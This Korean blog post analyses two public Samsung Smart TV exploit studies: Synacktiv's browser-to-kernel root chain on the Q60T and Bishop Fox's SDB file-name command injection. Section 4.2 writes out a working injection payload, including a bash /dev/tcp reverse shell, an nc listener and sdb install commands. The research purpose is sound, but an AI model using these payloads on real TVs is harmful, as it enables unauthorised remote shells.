Sep 15, 2026BY y260613
publicsmartTVLPEcommand injection

삼성 스마트TV 취약점 사례

삼성 스마트TV 취약점 사례 분석

1. Introduction

최근 삼성 스마트TV 취약점 분석을 하면서 참고한 1-Day 사례 두 가지를 소개하려 합니다.
첫 번째는 Synacktiv가 Samsung Q60T에서 브라우저 RCE와 커널 LPE를 연결해 root 권한을 획득하고 펌웨어를 복호화하는 과정을 보여주는 사례입니다. 두 번째는 Bishop Fox가 SDB 패키지 설치 과정에서 발견한 Command Injection입니다.

2. Samsung Smart TV와 Tizen 구조

2.1 Tizen TV 구조

삼성 스마트TV는 Linux 기반 운영체제인 Tizen을 사용합니다. 내부에는 브라우저와 애플리케이션 런타임, System Service, SDB, 삼성 SoC용 커널 드라이버가 포함되어 있습니다.
Samsung Smart TV
├── Web / Native / .NET Application
├── Chromium Browser와 V8
├── Tizen System Service
├── SDB Developer Interface
└── Linux Kernel과 Samsung SoC Driver
Tizen 애플리케이션은 Web, Native, .NET 형태로 실행할 수 있습니다. Web Application은 HTML, JavaScript, CSS를 사용하며 TV에 포함된 Chromium Browser도 V8 JavaScript Engine을 사용합니다.
SDB는 애플리케이션 설치와 디버깅에 사용되는 개발 인터페이스입니다. 일반적인 shell과 root 전환이 차단되어 있지만 개발자 모드에서는 TV 연결과 TPK 설치 기능을 사용할 수 있습니다.
커널에는 디스플레이, 오디오, 메모리와 삼성 SoC를 제어하기 위한 전용 드라이버가 포함되어 있습니다.

2.2 SMACK

Tizen은 SMACK(Simplified Mandatory Access Control in Kernel)을 이용해 애플리케이션의 접근 범위를 구분합니다.
프로세스에는 subject label이 부여되고 파일이나 device node에는 object label이 부여됩니다. SMACK은 두 label 사이에 정의된 Rule을 확인해 읽기, 쓰기, 실행을 허용할지 결정합니다.
Process의 subject label
        +
File / Device의 object label
        +
SMACK Rule
        ↓
접근 허용 또는 차단
브라우저 프로세스에는 User::Pkg::org.tizen.browser SMACK label이 부여됩니다. 브라우저 RCE에 성공하더라도 이 label은 그대로 유지되며, 해당 label에 허용된 파일과 device node만 접근할 수 있습니다.

2.3 UEP

UEP(Unauthorized Execution Prevention)는 삼성 커널에 추가된 실행 파일 서명 검사 기능입니다. 실행할 바이너리의 서명을 커널에서 확인하고 서명되지 않은 외부 바이너리의 실행을 차단합니다.
외부 바이너리 실행
→ exec 호출
→ UEP 서명 검사
→ 서명 확인 후 실행 또는 차단
Synacktiv 사례에서는 /dev/sdp_mem으로 커널 R/W를 확보한 뒤 UEP의 상태 값을 수정했습니다.

3. Synacktiv Samsung Q60T Rooting

먼저 본 자료는 Synacktiv의 Samsung Q60T 분석입니다. Q60T는 Pwn2Own 대상 장비였으며 연구 내용은 인터넷에 공개되어 있습니다. https://www.synacktiv.com/sites/default/files/2022-05/Sthack2022_Rooting_Samsung_Q60T_Smart_TV.pdf

3.1 공격 흐름

Synacktiv는 V8 취약점으로 브라우저 RCE를 얻은 뒤 커널 드라이버 취약점을 이용해 root 권한까지 상승했습니다.
악성 웹 페이지 접속
→ V8 브라우저 RCE
→ uid=5001(owner) shell
→ /dev/sdp_mem으로 커널 메모리 R/W
→ UEP 비활성화
→ root 권한 명령 실행

3.2 V8 브라우저 RCE

Q60T 브라우저는 Chromium 기반이지만 당시 펌웨어에는 CVE-2020-6383 패치가 적용되어 있지 않았습니다. Synacktiv는 공개된 V8 PoC를 Q60T의 Chromium 버전과 ARM 환경에 맞게 수정해 브라우저 RCE로 연결했습니다.
V8 TurboFan이 반복문 안의 변수 범위를 잘못 계산하면서 실제 할당 크기보다 큰 length를 가진 Array를 만들 수 있었습니다. 연구팀은 이 Array로 OOB Read/Write를 만든 뒤 addrof, fakeobj와 가짜 ArrayBuffer를 구성했습니다.
잘못된 JIT Type 추론
→ Array OOB
→ addrof / fakeobj
→ Fake ArrayBuffer
→ 브라우저 프로세스 임의 주소 R/W
마지막에는 WebAssembly JIT code 영역을 ARM shellcode로 덮어써 브라우저 프로세스 안에서 네이티브 코드를 실행했습니다.
uid=5001(owner)
gid=100(users)
context="User::Pkg::org.tizen.browser"

3.3 브라우저 context와 SMACK

브라우저 shell을 얻은 뒤 먼저 봐야 할 것은 현재 권한입니다. User::Pkg::org.tizen.browser는 브라우저 프로세스에 부여된 SMACK label입니다. Tizen은 이 label을 이용해 애플리케이션마다 접근할 수 있는 대상을 구분합니다.
SMACK은 프로세스의 subject label과 파일의 object label을 비교합니다. Unix 권한에서 접근이 가능해도 SMACK Rule이 허용하지 않으면 파일이나 device node를 열 수 없습니다.
Synacktiv는 /dev/sdp_mem 드라이버를 이용했습니다.
crw-rw-rw- 1 root root * 10, 193 /dev/sdp_mem
crw-rw-rw-이므로 모든 UID에서 장치를 읽고 쓸 수 있었습니다. SMACK object label도 *였는데, Object에 붙은 * Label은 접근을 허용합니다. 이 때문에 브라우저 Label을 가진 프로세스에서도 /dev/sdp_memO_RDWR로 열 수 있었습니다.
그 결과 브라우저 프로세스에서도 /dev/sdp_memmmap 기능을 호출할 수 있었습니다.

3.4 /dev/sdp_mem 커널 LPE

sdp_mem은 삼성 SoC의 메모리 관련 드라이버입니다. open, release, mmap 세 개의 file operation을 제공합니다.
static const struct file_operations sdp_mem_fops = {
    .owner   = THIS_MODULE,
    .open    = sdp_mem_open,
    .release = sdp_mem_release,
    .mmap    = sdp_mem_mmap,
};
문제가 발생한 부분은 sdp_mem_mmap()입니다.
static int sdp_mem_mmap(struct file *file, struct vm_area_struct *vma)
{
    size_t size = vma->vm_end - vma->vm_start;

    if (file->f_flags & O_SYNC)
        vma->vm_page_prot = __pgprot_modify(
            vma->vm_page_prot,
            PTE_ATTRINDX_MASK,
            PTE_ATTRINDX(1) | PTE_UXN
        );

    vma->vm_ops = &mmap_mem_ops;

    return remap_pfn_range(vma,
                           vma->vm_start,
                           vma->vm_pgoff,
                           size,
                           vma->vm_page_prot);
}
사용자가 mmap()에 전달한 Offset은 vma->vm_pgoff에 PFN(Page Frame Number) 형태로 들어갑니다. 드라이버는 이 PFN과 매핑 크기가 장치에 허용된 물리 메모리 범위 안에 있는지 확인해야 합니다.
하지만 코드에는 vm_pgoffsize에 대한 범위 검사가 없습니다. 시작 PFN, 마지막 PFN, 최대 매핑 크기, 주소 계산 과정의 Overflow를 확인하지 않고 그대로 remap_pfn_range()를 호출합니다.
공격자는 원하는 물리 페이지를 브라우저 프로세스의 가상 주소 공간에 매핑할 수 있습니다.
매핑이 완료되면 map에 대한 일반적인 Pointer Read/Write가 해당 물리 페이지에 반영됩니다.
공격자 지정 PFN
→ remap_pfn_range()
→ 사용자 공간에 물리 페이지 매핑
→ 커널 Data와 function pointer 수정

3.5 UEP 우회와 root 권한 획득

커널 메모리를 수정할 수 있어도 TV에 내려받은 바이너리를 바로 실행할 수는 없습니다. 삼성 TV에는 UEP(Unauthorized Execution Prevention)가 적용되어 있습니다.
UEP는 실행 파일의 서명을 커널에서 검사합니다. 브라우저 JIT 영역에 기록한 shellcode는 이미 실행 중인 브라우저 프로세스 안에서 동작하지만, BusyBox 같은 새 바이너리를 exec하면 UEP 검사를 받습니다.
브라우저 JIT shellcode
→ 기존 프로세스 안에서 실행

외부에서 받은 BusyBox
→ exec 호출
→ UEP 서명 검사
→ 서명이 없으면 실행 차단
Synacktiv는 /dev/sdp_mem으로 커널 R/W를 얻은 뒤 UEP 상태를 저장하는 전역 변수 s_uepStatus를 변경했습니다. 이 값이 비활성 상태가 되면 서명되지 않은 바이너리도 실행할 수 있습니다.
그다음에는 poweroff_cmd/proc/sdp_version의 Handler를 이용했습니다.
커널의 __orderly_poweroff()poweroff_cmd에 저장된 명령을 call_usermodehelper() 경로로 실행합니다. 먼저 poweroff_cmd를 원하는 명령으로 바꾸고, /proc/sdp_version의 Read Handler가 __orderly_poweroff()를 가리키도록 수정했습니다.
static struct sdp_proc_entry sdp_proc_entries[] = {
    {
        .name = "sdp_version",
        .proc_read = sdp_proc_show_sdpver,
    },
};
이 상태에서 브라우저 프로세스가 /proc/sdp_version을 읽으면 원래 Handler 대신 __orderly_poweroff()가 호출됩니다.
s_uepStatus 변경
→ poweroff_cmd 변경
→ proc_read를 __orderly_poweroff로 변경
→ cat /proc/sdp_version
→ call_usermodehelper()
→ root 권한 명령 실행
최종 결과는 다음과 같습니다.
uid=0(root)
gid=0(root)
context="_"

3.6 root 이후 펌웨어 복호화

root shell을 얻은 뒤에는 software update daemon을 분석해 암호화된 펌웨어까지 복호화했습니다.
업데이트 파일 upgrade.msd는 AES로 암호화되어 있었고 암호화된 Passphrase는 /usr/share/org.tizen.tv.swu/itemsAESPassphraseEncrypted.txt에 저장되어 있었습니다. 실제 키 처리는 TrustZone의 Trusted Application에서 수행됐습니다.
GDB로 Update Daemon을 수정해 동일 버전 업데이트를 허용하고, 키를 TrustZone 밖에서 처리하는 경로를 강제로 사용했습니다. 초기화 인자에서 Passphrase를 확인한 뒤 MD5 Digest로 16바이트 AES Key를 만들었습니다.
복호화 결과로 Kernel Image, Device Tree, Platform Image와 여러 Firmware Section을 얻었습니다. 이후 Kernel Image와 Device Tree, Platform Image를 정적으로 분석할 수 있었습니다.

4. Bishop Fox SDB Command Injection

두 번째로 본 자료는 Bishop Fox의 SDB command injection입니다. 2026년에 공개됐으며 식별자는 SVE-2025-50109, 취약점 분류는 CWE-78입니다.
Bishop Fox는 개발자 모드에서 사용하는 SDB service를 분석했습니다.

4.1 SDB shell

일반 Tizen Image에서 SDB는 sdb shellsdb root on을 제공합니다. Samsung Branded Tizen Image와 실제 삼성 TV에서는 이 기능이 차단되어 있습니다.
sdb shell
closed

sdb root on
Permission denied
SDB 연결과 애플리케이션 설치는 허용하지만 사용자가 직접 shell을 여는 것은 막아둔 것입니다.
Bishop Fox는 Packet Capture를 통해 sdb install 요청이 TV에서 어떻게 처리되는지 확인했습니다. Host에서
sdb install test.tpk
를 실행하면 SDB Service에는 다음 문자열이 전달됐습니다.
shell:0 appinstall tpk test.tpk
패키지 설치 요청이 내부적으로 shell command로 변환되고 있었습니다. 여기에 패키지 파일명이 그대로 붙기 때문에 파일명에 $(), Backtick, Pipe 같은 문자가 들어가면 shell 문법으로 해석됩니다.
정상 파일명
package.tpk
→ appinstall의 파일명 인자

조작된 파일명
package$(COMMAND).tpk
→ appinstall 실행 전에 COMMAND 평가
shell은 appinstall을 실행하기 전에 command substitution부터 평가합니다. 따라서 패키지 형식이나 서명 검사가 실패하더라도 파일명 안의 명령은 이미 실행된 뒤입니다. 실제 내용이 없는 빈 파일로도 Trigger할 수 있는 이유입니다.

4.2 SDB Injection payload

실제 payload는 실행할 명령을 Base64로 인코딩한 뒤 패키지 파일명 안에서 다시 디코딩하는 구조입니다.
test.tpk$(echo${IFS}-n${IFS}<BASE64_PAYLOAD>|base64${IFS}-d|bash).tpk
${IFS}는 shell의 Internal Field Separator입니다. 파일명 안에 공백을 직접 넣지 않고 echo, -n, Base64 문자열을 분리하기 위해 사용합니다. $()는 안쪽 명령을 먼저 실행하는 command substitution입니다.
TV에서는 다음 순서로 평가됩니다.
${IFS}를 공백으로 확장
→ Base64 문자열 출력
→ base64 -d로 원래 명령 복원
→ bash로 실행
→ 결과를 원래 파일명 위치에 치환
먼저 연결을 받을 Host에서 Listener를 실행합니다.
LISTEN_PORT='PORT'
nc -lvnp "$LISTEN_PORT"
다른 터미널에서는 payload와 Injection 파일명을 만듭니다.
TARGET_HOST='HOST'
TARGET_PORT='PORT'
TARGET_TV='TARGET'

PAYLOAD="bash -i >& /dev/tcp/${TARGET_HOST}/${TARGET_PORT} 0>&1"
B64=$(printf '%s' "$PAYLOAD" | base64 | tr -d '\n')
INJECTED_FILENAME='test.tpk$(echo${IFS}-n${IFS}'"${B64}"'|base64${IFS}-d|bash).tpk'
INJECTED_FILENAME을 작은따옴표로 묶은 이유는 Host shell에서 $()${IFS}가 먼저 실행되는 것을 막기 위해서입니다. Host에서는 해당 문자를 파일명에 그대로 저장하고 TV의 shell에서 해석하게 해야 합니다.
빈 TPK 파일을 만든 뒤 sdb install로 전달합니다.
WORK=$(mktemp -d /tmp/sdb-injection.XXXXXX)
printf '\0' > "${WORK}/${INJECTED_FILENAME}"

sdb connect "${TARGET_TV}:26101"
sdb -s "${TARGET_TV}:26101" install "${WORK}/${INJECTED_FILENAME}"
취약한 장치에서는 파일명 안의 command substitution이 실행되고 Listener에 sdk 권한의 shell이 연결됩니다.
uid=901(sdk)

5. Conclusion

처음 삼성 스마트TV 취약점 분석을 시작했을 때는 펌웨어를 복호화하기 위해 많은 시간을 사용했습니다. 두 선행 연구를 보면서 펌웨어 복호화만 계속 시도하기보다, 먼저 제한된 코드 실행을 root 권한으로 확장한 뒤 실행 중인 시스템에서 펌웨어와 키 처리 과정을 확인하는 방법도 참고할 수 있었습니다.
특히 Synacktiv가 브라우저 RCE에서 끝내지 않고 /dev/sdp_mem의 권한과 SMACK label을 확인해 Kernel LPE까지 연결한 과정이 가장 참고가 됐습니다. 기회가 된다면 이 취약점 사례를 이용해서 어떻게 취약점 분석을 진행했는지 작성해보겠습니다.

Reference

Comments (0)

Loading comments...

Please log in to leave a comment.

Log In